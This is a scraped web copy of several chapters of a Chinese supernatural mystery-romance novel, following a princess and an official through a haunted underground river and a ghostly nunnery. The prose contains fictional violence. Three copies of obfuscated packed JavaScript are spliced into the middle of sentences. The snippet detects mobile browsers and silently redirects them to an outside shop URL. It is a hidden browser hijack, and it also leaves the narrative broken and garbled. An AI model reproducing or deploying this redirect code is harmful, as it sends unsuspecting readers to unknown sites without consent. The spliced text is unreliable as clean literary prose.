不知道过了有多久,贺兰漪的意识逐渐模糊,她挣扎不动,身体开始往下沉。 “我还没有给皇祖母送生辰礼,就这样死掉,她怕是会伤心,”眼前晃动着光怪陆离的水面光晕,乱七八糟的念头逐渐浮进贺兰漪混沌的脑海。 她想起了去世的母亲父亲、尚未回京的兄长,还有宋少衡。 “漪儿!漪儿!”在水底憋着气的宋少衡揽住贺兰漪的腰,将她拖拽到水面上。 头冒出水面,鼻腔灌入新鲜空气的那一瞬间,贺兰漪突然睁开了眼睛,半身泡在水里,胳膊扒着粗糙的船板。 对上宋少衡的慌乱视线,贺兰漪哕出来一口黑水,又急促地咳嗽起来。 “没事,大口呼吸,”宋少衡给她轻轻拍着背。 宋巍和其他手下把宋少衡和贺兰漪拉上了船,两人浑身湿漉漉的,宋少衡慌忙接过来干净披风给贺兰漪披上。 “把弓弩给我。” 宋少衡来不及擦掉额头上的河水,便在箭矢上布下诛魂咒,架弓对准了西边的浓浓大雾。 箭射出的同时,河面上响起女人凄惨的哀嚎声,听的人头皮发麻。 “再不滚过来,你就跟她一起去死!”宋少衡冷声斥道。 “郎君饶命!” 没过多久,一个佝偻的小矮人划着船瑟瑟发抖地从大雾里靠近过来,几只乌鸦盘旋在船身上空,船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746861|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上躺着一个头发花白的老女人,胸口插着一只利箭,正往外泪泪流血。 “郎君饶命啊,我是被这妖人胁迫的!”头戴斗笠的小矮人跪在船板上连连磕头。 宋巍认出了这人,“他是之前在河道上拦咱们的青娘的仆从。” “郎君真是好眼力啊,如今那老妖婆已然伏法,还请各位郎君留我一条狗命!”小矮人抬眸,眼底闪过一丝寒光。 “这河里的死人怨念,都是你们造出来的?”宋少衡提剑问道。 “这,这,”小矮人看了眼身旁的尸首,犹犹豫豫,声音极小,“这,我不知道该不该……” 宋少衡往前走了几步,蹲下身,蹙着眉,“你说什么?” “我要你偿命!” 小矮人猝不及防地从袖口拔出匕首,恶狠狠地朝宋少衡心口捅了过去。 茫茫大雾中,只听见“扑通”一声,似有人落水。 “宋少衡!”贺兰漪急忙起身,却被人轻轻挡住去路,宋少衡抬眸看着她,温柔道:“我没事,你先回去船舱休息。” 贺兰漪已经见识过宋少衡的手段,她愣愣地看了宋少衡一眼,犹豫片刻,还是回去了船舱。 宋少衡掐诀驱散了白雾,只见那小矮人正被人按在地上,捂着断掉胳膊的伤口躺在地上死去活来地打滚,鲜血汇成细流从船板上溢进河水里。 刚刚掉进水里的东西是这小矮人拿着匕首的右胳膊。 “你若是老实交代,我就给你留具全尸,”宋少衡蹲下身,把利剑插进小矮人余剩的左胳膊里,斩断骨头,直到剑尖插进船板里,鲜血一滴一滴地流出来。 那小矮人疼得额头满是冷汗,却咬紧了牙关,一句话不肯往外吐露。 宋少衡把剑从他胳膊里拔出来,轻蔑地勾起唇角,压低声音盯着他,“看不出啊,你竟是个硬骨头,看来你没有那么在意自己的性命,那好,我不杀你了。” “但我会让人把青娘这具白发苍苍的尸首挂在城墙上曝尸三日,你们这种生活在暗无天日的地下的恶魂,本就该受千人指摘,万人唾骂,汴梁城的百姓见到她,怕是都会喊她做老妖怪吧。” “住嘴!”小矮人挣扎着想站起身,用尽全力地朝宋少衡嘶吼着,“你这个不择手段的混帐!” 宋少衡眸色沉了下去,起身提剑对准他的咽喉,冷声道:“我没那么多时间陪你玩,再不说,就不用说了。” 那眼神中的威逼之势令人胆寒。 小矮人本想一死了之,但看了眼身旁青娘的尸首,眼中又流露出不舍之色,他仰头望着宋少衡,“你可说话算话?” 宋少衡挑着眉,“那是自然。” “河里的确有很多死人,但这些人不是我们杀的,我们只是催动了河中积蓄已久的怨念,助她们成形,驱使她们为我们做事,这些人是鬼樊楼楼主杀的,”小矮人顿了顿。 “几年前,鬼樊楼异主,这河里便不断地出现新鲜尸体,都是被吸干血,掏了心的模样,本来她们是被封在河底的沉棺里,我们发现后,便把她们弄了出来,用她们的怨念造出水祟,驱使水祟帮忙杀人越货。” 宋少衡冷眼瞧着他,“那鬼樊楼楼主长什么样?” 小矮人哑着嗓子,“别说是我们,就连鬼樊楼的管事都不曾见过那人的,鬼樊楼楼主在地下城从不以真面示人,这是几十年来的规矩。” “说完了?” “你可要信守……”小矮人话还没说完,就被宋少衡挥剑抹了脖子。 宋巍得了允准,指挥着手下将这两人的尸首推落河中。 “宋,宋少衡……”贺兰漪见事情一直没有处理完,于是走出了船舱查看情况。 却不料—— 暗河水面上的白雾逐渐散去,水祟的恶臭味渐渐袭来,而水面上漂浮着一具又一具的红色干尸,将他们的小船团团围在了中央,就像是池塘中盛开的朵朵红莲。 “那是工部侍郎家的五娘子洛玉妆!”宋巍认出了浮在船身旁边最近的干尸。 宋少衡拿帕子擦掉脸上的黑水,眨了眨眼睫,心下暗自思忖着怪不得这些水祟实力不俗,被人活活制成干尸自然会酝酿极大的怨念。 他们回去码头后,宋巍立刻差人去开封府衙,让他们去把暗河里的干尸打捞上来。 宋少衡则是骑马送贺兰漪回魏国长公主府。 这会儿快要天亮了,大雨稍歇,空气中泛着凉意,河面上货船来往不歇,汴梁城内城路上依旧人头攒动,商铺林立。 他们专门挑了一条人少的路,走过桂花巷,转头就快要到魏国长公主府了。 突然从旁边桥上冒出来两个年轻郎君,展臂挡在了贺兰漪乘坐的马车前。 8. 第 8 章 “你是何人?”宋巍骑着枣红色的高头大马拔剑带人迎上前去,将面前两人团团围住。 那站在前面长相文雅、衣着华贵的郎君却丝毫不慌,对着宋巍浅浅叉手行了个礼,扬着眉,抬着下巴,志得意满地一只手背过身去,另一只手悬在胸前,对着虚空指指点点,“在下名叫周善俊,乃是今科探花,不知马车里坐的人可是静安郡主?” 宋巍手里悬着缰绳,扭头看向骑马走在马车旁边的宋少衡。 还未等宋少衡发话,坐在马车里的贺兰漪听见动静后,拨开窗帘,对旁边的宋少衡悄声道:“这人脑子有病,别搭理他,让他滚!” 宋少衡点了点头,“是。” 他抬眸看向宋巍,挥手示意。 宋巍心领神会,坐在马上,毫不客气地对面前的周善俊斥道:让开!” “我问你里面是不是静安郡主,你何故对我如此放肆,你可知道我是官家钦点的今科探花,”周善俊摇晃着脑袋,那张长相文雅的脸也因为市侩作派变得扭曲,“你这个护卫怕不是新来的吧,这次我便原谅你了,下次不许再犯,我便直接去见郡主罢了!” 说着,周善俊便要靠近后面贺兰漪乘坐的马车。 “你听不懂人话,滚开!”宋巍轻蔑地望着周善俊,身后的手下直接拔刀挡在了周善俊面前。 眼前的刀刃闪着寒光,周善俊喉结滚动,微微向后退了一步,干笑两声,扯着嘴角继续张狂道:“我可是官家钦点的探花,待我授官之后,便是朝中肱骨栋梁,文官清流,你敢对我拔刀,是不想活了吗?” 宋巍冷笑一声,勒紧缰绳,枣红大马鼻孔里喷洒着热气,抬起前蹄差点砸到周善俊脸上,幸而跟着周善俊过来的小厮一把将他拽去路边,才不至于被踩毁了容。 “哎呀!”站在栏杆边的周善俊抬腿一脚踹开好心拉走他的小厮,抚平了身上昂贵的孔雀罗窄袖袍,扬手道:“我可是探花!他们一介府兵,怎敢对我动手!” 周善俊已经在这里连续蹲守了两三天了,好不容易在今日遇见了贺兰漪的马车,若是不能再进一步,实在是对不起他这娇贵身体熬夜的辛苦和身上这身重金置办的华服。 于是他又快步追上了贺兰漪辚辚行过的车驾,边追边气喘吁吁地高声喧哗,“郡主,您怎可如此对我,我可是当今官家钦点的探花啊!您如此薄情寡性,就不怕我一指诉状告去御史台吗?身为皇家之人,理当为万民表率,您指使府兵这么轻待于我,乃是将这全天下读书人的脸面踩在地上糟蹋啊!!” 他的叫嚷声极大,引得不少出门夜游的百姓和高门贵户凑了过来。 坐在马车里的贺兰漪和车外的宋少衡自然也将此话听得清清楚楚。 “让人停车,”贺兰漪掀开车帘,挑眉怒声道:“我今日非要打死这个信口胡说的贱人不可!” 宋少衡勒停了身下的黑马,温声道:“这种人,何必劳烦郡主动怒,交由属下去处理吧。” 贺兰漪蹙着眉,坐在车窗边,“你不知道这厮有多恶心人,他那张嘴极擅狡辩,你跟他讲道理讲不通的。” “既然道理讲不通,那便让他闭上嘴好了,”宋少衡的眸色沉了下去,随后将宋巍喊了过来,低声嘱咐了几句。 没一会儿,宋巍过来禀报说:“郎君,我们已然把他扔河里去了。” “你做的如此明目张胆,那群文官会弹劾你的。”贺兰漪没有料到宋少衡会这么做,她想起来那群唾沫星子乱飞的老家伙就觉得头疼不已。 即便是她平日里做事出格,天不怕地不怕,可碰见那群老家伙也是尽量能避则避的。 “无妨,”宋少衡眼神温柔,“他们要弹劾便弹劾,那些对属下来说毫无意义。” 贺兰漪觉得宋少衡这个人越来越有意思了,在朝为官者,谁不希冀着步步高升,得罪人的事自然是越少越好,可偏偏他不在意。 “罢了,若是日后皇祖母和官家责备你,你只管推到我头上,我会把事揽过来的,”贺兰漪极其义气地开口道。 望着贺兰漪清亮的眼眸,宋少衡神情淡漠的脸庞上闪过一丝不易觉察的动容,他轻轻开口,“那就多谢郡主了。” 回去魏国长公主府,青窈和同钰早早就等在了台阶下。 “郡主,”贺兰漪下马车,青窈瞧见她右胳膊上的伤口又裂开了,血迹从粉色衣袖外面渗了出来。 宋少衡下马走过去,温语道:“郡主落水了,劳烦娘子让大夫给郡主仔细瞧一瞧。” 青窈冲他点了下头,忙带着贺兰漪回去了玉露堂。 “郎君留步!”宋少衡站在廊下,喊住了同钰。 同钰一开始只觉得皇太后派来查案的人太过年轻,或许经验不足,难以破案,但后来他对宋少衡的观感越来越好,这人不仅道术高深,对魏国长公主府的法阵极其了解,而且待人温和有礼,尤其是对他和青窈,态度极好。 “不知管军还有何事?”同钰恭敬地问道。 宋少衡站在柱子边,压低声音,“刚刚过来的路上,遇见了一个名叫周善俊的探花拦住了郡主的马车,嘴里不干不净,不知他与郡主是有什么渊源吗?” “他又拦下了郡主的马车!”同钰闻言暴怒,随即便要喊几个府兵过来,“不知管军是在哪里见到的他?这人是不教训不行了!” 宋少衡轻语道:“你不必再麻烦了,我已经让人把他扔河里去了。” 同钰长舒一口气,心中的愤怒算是压下去不少。 “管军不知道,这个叫周善俊大约一月前就一直在打探郡主行踪,几乎每日里都在往府中递门状,写些□□浪荡之词,郡主本不欲搭理他,可他竟蹬鼻子上脸,日日守在巷口,狗皮膏药似地缠着郡主,送花写词这些就不说了,他还四处散播谣言说郡主爱慕于他,即将招他入府为婿。” “前几天郡主受不了,偷偷带人去打了他一顿,刚消停了几天,他便一纸状子告去了御史台,说郡主德行有失,行为无状,以皇室身份威压臣子,害得我们郡主被皇太后好一顿教训,这也就是我们国公现如今不在京中,不然,早让这人滚出汴梁了。” 宋少衡点了点头,眸色深沉,“我知道了。” “对了,郡主不在的这段时间,府中可有异动?” 同钰摇了摇头,“没有,一切如常。” 贺兰漪换药的时候,宋少衡也在宋巍的强烈要求下回去了相府的别院清庭居。 大夫给宋少衡诊着脉,额头皱得能夹死蚊子,为难地望向站在旁边等消息的宋知羲。 “张大夫,我儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746862|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何啊?”宋知羲穿着身黑色常服,一直没睡,在清庭居等到宋少衡回来。 张大夫撤回放在宋少衡腕上的手,“郎君的内伤极重,如今似又有复发之像,必须得好好将养着,不然,怕会拖成终身顽疾,以致危及性命啊!” “好了,去开药吧,”宋少衡垂眸整理好袖口,声线冷冽。 宋知羲转身招手把宋巍喊过来,胡子颤抖,责备道:“你是怎么照看的二郎君!这怎么又复发了?” “你还有事吗?没事就走吧,别在这碍眼了!”宋少衡没好气地看向宋知羲。 “儿啊,咱能不能先,先把身子养好,再查那侍卫的案件啊?”宋知羲满脸慈爱,丝毫没有因为宋少衡刚刚说的话生气。 “相公,我们在地下城暗河里发现了数十具干尸,里面不乏有工部侍郎家的娘子等高门贵眷,”宋巍站在绿竹屏风前轻声道。 “什么!数十具!” 宋知羲知道这种事自己不该高兴,可面对如此争气的儿子,他心中还是不免升腾起骄傲之情。 宋知羲抬手轻轻拍了拍宋少衡的肩膀,“儿啊,走到这一步已然是立了大功了,你便放手交给大理寺和刑部那些人去查吧。” 他继续苦心劝慰道,“这案子涉及地太大了,官家定然会派有经验的官员去详查的,你刚回来汴梁不久,何必如此心切地递投名状啊,你的本事,官家和皇太后都是了解的,再说了,有爹爹在这给你撑腰,即便是有人眼红你的职位,料想他们也不敢轻易说些什么的。” “已经是后半夜了,你不困吗?”宋少衡明显是并不打算接受宋知羲的提议,声音硬冷,“我困了,走吧,别在这影响我睡觉。” 但宋知羲哪里能放得下心来,把宋少衡自己扔在别院啊,“还没喝药呢,等下再睡吧,爹爹在这再陪你一会儿。” “这会儿开始装慈父了,是因为觉得我比你那几个儿子有用吗?”宋少衡冷笑几声,“我劝你还是不要把希望托寄在我身上了,我当时答应你姓宋,也不过是为了在朝中方便行事,你就像之前一样当做从没有过我这个儿子便好,反正我也……” “也什么?”宋知羲以为这个儿子会哭出来,可宋少衡连眼眶子都没红,也是了,受了那么多年的罪,怎么会因为这点小事便哭出来。 他欠这个儿子的,不知道何时才能还完了。 “儿啊,你想做什么爹爹都依你,只是,别让我担心,好不好,”宋知羲哽咽地起身,走到宋少衡面前,“乖乖吃药,爹爹明日再来看你。” 宋少衡望着宋知羲离去的背影,眸色幽深,不知道在想些什么。 小厮送过来熬好的药,宋少衡端起碗一饮而尽,连眉头都没皱一下。 “让人去查查周善俊的底细,越详细越好。” 宋巍领命离开。 他回来的时候,宋少衡还没有去睡觉,而是站在书柜前翻书。 “郎君,您在找什么?” “一种可以控制尸体的蛊虫,”宋少衡放下古籍,抬眸看向宋巍,“我今日发现鬼樊楼的梼杌奴都是跟段如远一样的干尸。” “您是说,杀死段如远和那暗河里的人都是鬼樊楼楼主所为?” 宋少衡眸色幽深,“我们应该很快就能知道答案了。” 9. 第 9 章 魏国长公主府,玉露堂,已是深夜。 贺兰漪看着面前冒着热气的苦药,不禁皱起了眉头。 “郡主,良药苦口,”青窈站在旁边,拿过来一叠桃花酥,“就着这酥饼吃,就没那么难入口了。” “咕噜咕噜,”贺兰漪不情愿地端起药碗,闭着眼一饮而尽,喝完没多久苦味就从胃里反了上来,“哕!” 她捂着胸口,忙拿了个桃花酥填进嘴里。 “嗯?你让人去买的啊?”贺兰漪大口嚼着桃花酥,又甜又香,味道不是长公主府厨子的手艺,反而像是外面王记卖的那种。 青窈摇了摇头,“不是我,是宋管军刚让人送来的。” “宋少衡?” “对。” “他这人倒是不错,”贺兰漪又拿了块桃花酥,思及宋少衡今夜在鬼樊楼救自己的事,她对他的印象好了不少,“对了,明日里等我醒了,你去莲居把兰月给我喊来,我有话要问她。” 青窈给贺兰漪关上门后,又嘱咐着院门口的府兵一定要多加防备。 但贺兰漪刚经历了鬼樊楼那一遭,她累的躺在罗汉床没一会儿就睡着了,并没有心思再偷溜出府。 夜色静谧,天边堆着黑云,似乎又快要下雨了。 轰隆的雷声落在耳边,吵得贺兰漪睡不着觉,她挣扎着睁开眼睛,想喊青窈进来给她找些棉花堵住耳朵。 岂料,入目所见并非是她罗汉床上悬着的牡丹花帐顶,而是一座经年历久的古寺,周边山峦群立,烟雾缭绕,古木参天,郁郁葱葱。 古寺大门两侧竖立着两只石狮子,双目如铜铃,在朦胧夜雾的掩映下显得有些面目狰狞,墨黑牌匾上书着知幻庵三字,庵墙上布满青苔,随着浑厚的钟声响彻山间,朱红的山门缓缓朝贺兰漪打开来,里面走出来三个着海青僧伽梨的比丘尼。 “小娘子,既然来了,便是有缘,不妨入庵中吃盏茶吧,”其中一个高个师姑手握小叶紫檀的佛珠,满脸笑意地冲着贺兰漪走了过来。 贺兰漪闪身躲开她的手,后退两步,警惕问道:“这是哪里?” 三个比丘尼相视一笑,“小娘子这话有趣,这里正是汴梁白傀山啊。” “白傀山?”贺兰漪自小在汴梁长大,从未听说过什么白傀山,更何况她刚刚明明是在魏国长公主府睡觉,怎么会一转眼就来到了这里。 此事定有古怪! 雾色渐浓,冰凉的雨珠落在脸上,雨势愈加大了。 站在青石台阶上的矮个师姑抄着袖口,挑着眉尖酸刻薄地望着贺兰漪,“小娘子,进来避个雨吧,等一会儿衣裳都要打湿了。” 贺兰漪抬眸打量着几个尼姑,悄悄往后退了一步,直觉这庙庵定然不是个寻常地方,她又偷偷掐了下自己的右手,疼得倒抽一口凉气。 这不是梦。 “我,我不进去了。” “小娘子,你当真不进来吗?”一直站在高个师姑身后的胖尼姑手里拿着一只烤猪蹄,嘴角吃的油光锃亮,侧过头,用十分粗重的嗓音恐吓道:“等下你可别求着我们进来!” “本郡主长这么大,可从来不求人!”贺兰漪冷笑一声,转身就离开了知幻庵门口。 她冒雨顺着蜿蜒曲折的羊肠小道下山,山路泥泞难行,好几次都差点摔个屁股墩。 大约走了十几分钟后,贺兰漪隐隐约约瞧见似乎有个草亭子矗立在朦胧雨雾中,她长吐了一口气,准备走过去避避雨。 那四处漏风的草亭子建在地势偏高的陡峭山崖处,贺兰漪走进去,抬手囫囵擦了下脸上的雨珠,山风刺骨,冷的她打了个喷嚏。 “这到底是什么鬼地方啊?”贺兰漪踮脚站在草亭子下的石凳上眺望远方,希望可以瞧见山下灯火通明的汴梁城,但可惜山高谷深,朦胧一片,什么都瞧不见。 跳下石凳,贺兰漪吸了吸鼻子,抱着胳膊,准备在草亭子下等到天亮雨停之后再下山。 可她坐在草亭子里没多久,忽而听到身后茂密树丛里似乎有窸窸窣窣的动静。 她猛然起身,鬓发乱糟糟的,从地上捡起一根粗壮的干树枝,“谁在那!” 一团阴翳在树丛后的黑影逐渐在浓密雨雾里显现,离草亭子也越来越近。 贺兰漪一颗心提到了嗓子眼里,抓着树枝的手指又攥紧了些许。 直到那团黑乎乎的影子走近现了身形,一张有些狼狈的秀美脸庞露了出来。 “江姝绾,怎么是你啊?”贺兰漪松了一口气,手里拿着的树枝放了下来。 “见过郡主,”江姝绾垂目欲泣,带着哭腔走到贺兰漪身旁,“见到您真是太好了!” 贺兰漪问她,“你也是一睁眼就来这里的吗?” 江姝绾点了点头,把碎发别去耳后,紧张道:“妾刚刚正在睡觉,一睁眼就站在一个尼姑庵门前了,出来三个尼姑要我进去休息,如此深山老林,那尼姑又未曾剃度,瞧着眉眼风流,我怕是那娼尼,转头就走了,幸而在此遇见了郡主,不然可要把我吓死了。” “你可听说过白傀山?”贺兰漪看向身旁坐在草亭下的石凳上的江姝绾。 江姝绾一脸懵,“没听说过,那是什么地方?” “我们现在在的地方,那三个尼姑告诉我说的,这里是汴梁的白傀山。” “她们在说假话,”江姝绾蹙着眉头,“我之前看过许多次汴梁的山川图,并未有哪座山叫这个名字。” 山中阴风飒然,贺兰漪起了一身鸡皮疙瘩,心下估摸着自己和江姝绾应该是中邪了,民间说法是狗血和桃木枝可以驱邪,但此时她身边什么都没有。 莫名地,贺兰漪脑海里想着若是宋少衡这会儿在此便好了。 “我们今夜便呆在这不要乱动了,等天亮之后再做打算吧,”贺兰漪轻声道。 江姝绾有些惊恐地环顾四周黑黢黢的树影,草亭外的雨声在此时也显得格外恐怖,“郡主,你说这山里不会有猛兽凶禽出没吧。” 贺兰漪也有些紧张,从地上捡起一根粗壮树枝递给江姝绾,“别怕,我们肯定会没事的。” “郡主,你听没听见铃铛的声音?”江姝绾猛然站起来,惊弓之鸟般后退了几步。 “铃铛声?”贺兰漪也站了起来,耳朵微动,拿着树枝仔细听着。 冷风吹进草亭里,带着“叮铃铃”的清脆铃铛声。 不远处,有一团光亮正在靠近这里,贺兰漪和江姝绾急忙藏到了草亭后面的茂密树丛中。 随着那金铃声响越来越清晰,贺兰漪和江姝绾两人都紧张地咽了下口水,没一会儿,草亭下传来两个女子的温柔声音。 “娘子,咱们怎么会来这里啊?” “我也不知道,就仿佛是做梦一般,深山幽谷,杳无人迹,真是吓人啊。” 贺兰漪和江姝绾对视一眼,估摸着来人也是同她们一样的倒霉蛋,于是拿着树枝,壮着胆子拨开茂密树丛,回去了草亭下。 她们两人突然出现,把草亭的主仆二人吓了一跳,尤其是看起来年纪稍小一些的女使,吓得藏在了那面容温婉的娘子身后。 “你们是何人?” “外面雨势甚大,我们是过来躲雨的,”贺兰漪打量着那两人,缓缓开口道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746863|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那温柔可人的娘子手里提着灯笼,试探着问:“两位妹妹也是突然来到这里的吗?” “对的,姐姐也是吗?”江姝绾从贺兰漪身后跳出来,整个人都放松了不少。 金铃声簌簌,那位娘子的小女使突然睁大了眼睛,抬手指向贺兰漪的身后。 “那,那是——” 瞧着对面两人脸上均露出惊恐之状,贺兰漪和江姝绾几乎是同时转头。 朦胧雨雾中,从往上延展的青石石板上走过来一只巨大的黄皮老虎,两只如铜铃般的眼睛里闪烁着诡异的光亮,它抬了抬尖锐的爪子,嘴里一排尖利的牙齿左右磨了磨,冲着草亭下的四人就扑了过来。 江姝绾被吓得僵在原地,腿都动不了了。 贺兰漪急忙去拉江姝绾的胳膊,可谁知江姝绾腿软突然瘫倒在地上,脸上一瞬间失了血色,苍白如纸。 那主仆二人藏在草亭子后面,惊恐地望着这一切。 老虎速度极快,几乎是眨眼间就来到了贺兰漪和江姝绾眼前。 “你快些起来啊!”贺兰漪横手举着粗壮的树枝,左攻右防,挡住了老虎尖利的牙齿,费劲地扭头喊着江姝绾。 但贺兰漪的右肩还是不可避免地被老虎尖锐的爪子抓破,流出了泪泪鲜血。 “小娘子,戳它的眼睛!”那主仆二人冲了上来,连拉带拽地把江姝绾从地上扶起来,带离了草亭下面。 只听见一声唱彻山林的兽声嚎叫,贺兰漪不可置信地看着自己手里的树枝,竟然让她就这么轻易地打败了如此凶猛的一个庞然大物。 老虎左眼里不断有血渗出来,往后退了几步,躺在地上打滚。 贺兰漪趁此间隙,跟着江姝绾和那主仆二人拼命逃跑,不知不觉间,竟又回到了那知幻庵门口。 “师姑,快些开门,救命啊!”江姝绾近乎是拼了命一般使劲拍打着朱红大门。 没一会儿,“咯吱”一声,门开了。 “咱们快些进去吧,”那温婉的娘子看向仍旧有些迟疑的贺兰漪。 老虎的咆叫声透过山林,似乎越来越近了。 贺兰漪没办法,只能跟着一起进去了庵内,不知道是不是错觉,她总觉得站在大门里面的那个矮个尼姑似乎是在咧着嘴笑,可眨眼过后,矮个尼姑就又重新变成了冷脸模样。 尼姑领着她们走过山门,绕过慈悲殿和中间坐落的大雄宝殿,从廊庑下径直去到后面院子左侧的療房。 “客房已经满了,几位娘子今日里便暂且歇在我们平日住的地方吧,看几位的衣裳都湿了,我佛慈悲,我们这柜子里有干净的僧袍,若是不嫌弃,你们先可以换上,还有,我们这里只有素斋,等下我会给你们端来。” 温婉的娘子笑着开口,“多谢师姑。” “哦,对了,我们庵里东边藏经阁还住着借宿夜读的书生和其他香客,你们切莫过去打扰。” 尼姑带着她们过来的療房是中间打通的东西两室,正好可以两人一间。 提心吊胆地跑了这一路,江姝绾嗓子里干涩地快要说不出来话了,她随手便拿起桌上的茶壶给自己倒了杯清茶,咕咚咕咚喝了个干净。 尽管贺兰漪也很渴,但她总觉得这里处处透着古怪,在事情未明了之前,她并不敢喝这里的水。 “刚刚还要多谢娘子机警,不知如何称呼?”贺兰漪看向身旁已经换好僧袍的温婉娘子。 “妾身名叫候皎皎,汴梁芷泉巷人氏,娘子喊我皎皎便好。” 候皎皎。 贺兰漪头皮发麻,冷意直冲天灵盖,这人不是二十年前便溺水身亡了吗? 10. 第 10 章 那是魏国长公主还在世的时候,曾经跟贺兰漪提过这个名为候皎皎的娘子。 彼时汴梁的女子书院初见成效,而这个叫候皎皎的娘子便是第一批的翘楚,魏国长公主赵乐仪本打算提拔她入府,可惜此人因为一心想要和表哥私奔,被家里发现后投水死了。 “她真的很可惜。” 魏国长公主的话似乎就在贺兰漪耳边再次响起。 见贺兰漪一直愣愣地瞧着自己,候皎皎尴尬地笑了笑,轻语问,“不知妾身的名字是有什么问题吗?” 贺兰漪故作镇定地摇了摇头,垂眸移开视线,“没什么。” “哦,”候皎皎的眼中闪着诡异的光亮,唇角勾起,“那娘子不喝杯茶吗?” “我正好渴了呢,”贺兰漪笑了两声,拿起桌上杯盏,喝了一大口干涩的茶水。 “妾自小礼佛,如今身处庙庵之中,理应礼敬佛祖,请恕妾身先行去大雄宝殿点柱香,不知两位是否要同行?”候皎皎看向贺兰漪和江姝绾。 “我不去。”江姝绾仍然心有余悸,几乎是脱口而出,她只想呆在房间里,不想出去。 贺兰漪也摇了摇头。 “既如此,那妾身便先离开了,”候皎皎带着女使出去,关上了门。 贺兰漪转头便将嘴里的茶水吐进了身后的陶盆里,又扣着嗓子把落进肚子里的茶水也吐了出来。 “郡主,你这是干什么?”江嘉吟走过来,悄声问道。 贺兰漪清了清嗓子,眼睫微动,“那个候皎皎是个死人。” “你说什么!”江嘉吟被吓得脊背发凉,出了一身冷汗,捂着胸口,心下生寒,“那这可怎么是好啊!我刚刚还喝了这里的茶水。” 贺兰漪走到门口,看着候皎皎带着女使走远了,“我们不能呆在这里了,必须离开。” “可若是外面还有老虎怎么办?”江姝绾眉头紧锁。 贺兰漪右肩上的伤口仍在往外冒血,她蹙着眉,仔细想着刚才尼姑的话,突然睁大了眼睛,“那就先去东边的藏经阁躲一躲,至少不能在这里坐以待毙。” 两人翻窗离开療房,天边血色月光隐现,走上台阶,穿过二楼的飞廊,一路上还算顺利。 但就在要经过香积厨的拐角时,两人突然听见了迎面而来的说话声。 惊慌之下,两人推门进去香积厨,躲在了灶台后面。 “你要多注意些那个穿黄裙的小鬼,我瞧着她比另一个机灵,今日正巧是绝日,天会黑得晚一些,你一定要稳住她们,”纸窗上两个鬼魅般的黑色身影窃窃私语。 候皎皎的声音响起,“大人放心,奴亲眼看着她们两人喝了那失魂水,只等血月出来,她们定然会被留在这里面,成为大人们享用的美味佳肴。” 江姝绾惊恐地看向身旁的贺兰漪,一时失神,胳膊落下,竟打翻了脚边的陶罐。 “咣啷”一声轻响。 外面的黑影突然停了声,双双扭头望向屋内。 “怎么办?”江姝绾脸色惨白,用口语问贺兰漪。 随着木门被“咯吱”推开,贺兰漪一把捂住了江姝绾的嘴巴,自己也闭气一动不敢动。 之前阿娘曾经告诉过她,有些妖怪是以呼吸来辨别凡人生死的,如今到了紧要关头,也只能死马当活马医,尽力一试了。 候皎皎和尼姑的身影被拉的细长,尼姑探着头,鼻尖翕动,朝着黑黢黢的香积厨里面走过来。 眼看着尼姑的影子已经落在柜子旁的蛛网上了,她却突然停下了脚步。 “大人,怎么了?这里并没有活人的气息啊。”候皎皎跟在后面好奇地开口问道。 尼姑神色一凛,正巧有一群老鼠从她布鞋边爬过,直冲出香积厨,朝着寺门口跑去。 “有人闯进来了!我们去寺门口看看!” 尼姑脚步匆匆地带着候皎皎出去。 听见脚步声离得远了,贺兰漪这才放下手,长舒一口气,额头上满是冷汗,江姝绾更是大口大口地呼吸着。 “郡主,我们这下是真的不能去门口了!” “她说有人来了,那会是谁?”贺兰漪看了眼自己右肩的伤口,眉宇间凝着一团散不开的郁气。 两人东躲西藏,终于横跨后院,来到了五层楼的藏经阁门口。 站在台阶前,贺兰漪仰望着这檐牙高啄、丹楹刻桷的高耸楼阁,莫名觉得有些眼熟。 “你可曾在哪见过这楼?” 江姝绾紧张四处张望,抓着贺兰漪的胳膊,摇了摇头,“没有,郡主咱们快些进去吧,万一被发现了就不好了。” 此时天边的月光已经被血色浸染,在薄薄雨雾中露出了大半轮。 江姝绾拉着贺兰漪进去了藏经阁。 推开门,中间置着一个小水池,精雕细琢的白玉龙首还在往外吐着喷泉,两旁一排排陈旧古籍特有的墨味和霉味迎面扑来。 里面极其安静,并不曾见到什么和尚和借宿的夜读书生。 “咱们去楼上!”江姝绾环顾四周,挠了挠眉心,挽着贺兰漪的胳膊走上了左边的木楼梯。 贺兰漪脑子里一直在想藏经楼往外突出的檐角,以及她们刚刚过来的路上,经过选佛场、西配殿,以及身后遥望可以瞧见的鼓楼。 如果从上方往下俯视,以东南方向为基准,那么—— 门刚关上。 